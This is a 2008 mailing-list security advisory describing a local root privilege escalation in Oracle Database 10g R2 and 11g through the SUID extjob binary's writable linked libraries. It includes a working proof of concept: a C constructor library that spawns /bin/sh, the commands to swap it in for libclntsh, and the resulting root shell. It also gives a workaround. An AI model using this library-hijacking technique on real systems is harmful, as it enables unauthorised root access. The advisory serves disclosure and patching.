[UNIX] Oracle Database Local Untrusted Library Path Vulnerability (Technical Details)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 25 Jul 2008 08:09:50 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Oracle Database Local Untrusted Library Path Vulnerability (Technical
Details)
------------------------------------------------------------------------
SUMMARY
The Oracle July 2008 Critical Patch Update fixes a vulnerability which
allows a user in the OINSTALL/DBA group to scalate privileges to root.
DETAILS
Vulnerable Systems:
* Oracle version 10g R2 (10.2.0.2)
* Oracle version 11g
In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
the following forum from Oracle you will found a note at the bottom of the
page:
(...)
In 10.2.0.2 and higher
rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
and be writable only by the owner i.e. 644 (rw-r--r--)
bin/extjob file must be also owned by root:oraclegroup but must be setuid
i.e. 4750 (-rwsr-x---)
bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned by
oracle:oraclegroup
In 11g and higher
Same as 10.2.0.2 but additionally bin/jssu should exist with root setuid
permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---)
(...)
The "oraclegroup" is commonly "dba" or "oinstall". Regardless of the
group's name, if a user can execute OS commands from the database (after
an attacker gains DBA privileges by abusing from an sql injection
vulnerability, in example) the user is allowed to execute, modify, delete
or create new files under the ORACLE_HOME directory.
The following are the linked libraries of the extjob binary:
$ ldd $ORACLE_HOME/bin/extjob
linux-gate.so.1 => (0xffffe000)
libclntsh.so.10.1
-> /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1
(0xb669d000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb6681000)
libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb665f000)
libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0
(0xb664d000)
libnsl.so.1 => /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb6509000)
libnnz10.so
-> /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so
(0xb635f000)
libaio.so.1 => /usr/lib/libaio.so.1 (0xb635c000)
/lib/ld-linux.so.2 (0xb7f95000)
As you can see, 2 Oracle libraries are linked to the extjob binary. A user
in the oracle group can't change the binary "extjob" because it's owned by
root but can change linked libraries to execute arbitrary code under the
privileges of "root". The following is an example of what can be done:
-- Example with libclntsh.so
$ cat test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__ ((constructor)) my_init(void)
{
printf("[+] It works! Root shell...\n");
system("/bin/sh");
}
$ cc test.c -fPIC -o test.so -shared
$ mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
/home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
$ mv test.so
/home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...
sh-3.1#
Notes:
Despite the privileges needed, the vulnerability can be used in a
multi-stage attack to gain root privileges.
Workaround:
Remove the SUID root bit from the extjob binary.
ADDITIONAL INFORMATION
The information has been provided by <mailto:joxeankoret@xxxxxxxx> Joxean
Koret.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Asterisk IAX 'POKE' Resource Exhaustion
- Next by Date: Promote your business !
- Previous by thread: [UNIX] Asterisk IAX 'POKE' Resource Exhaustion
- Next by thread: Promote your business !
- Index(es):
Relevant Pages
|
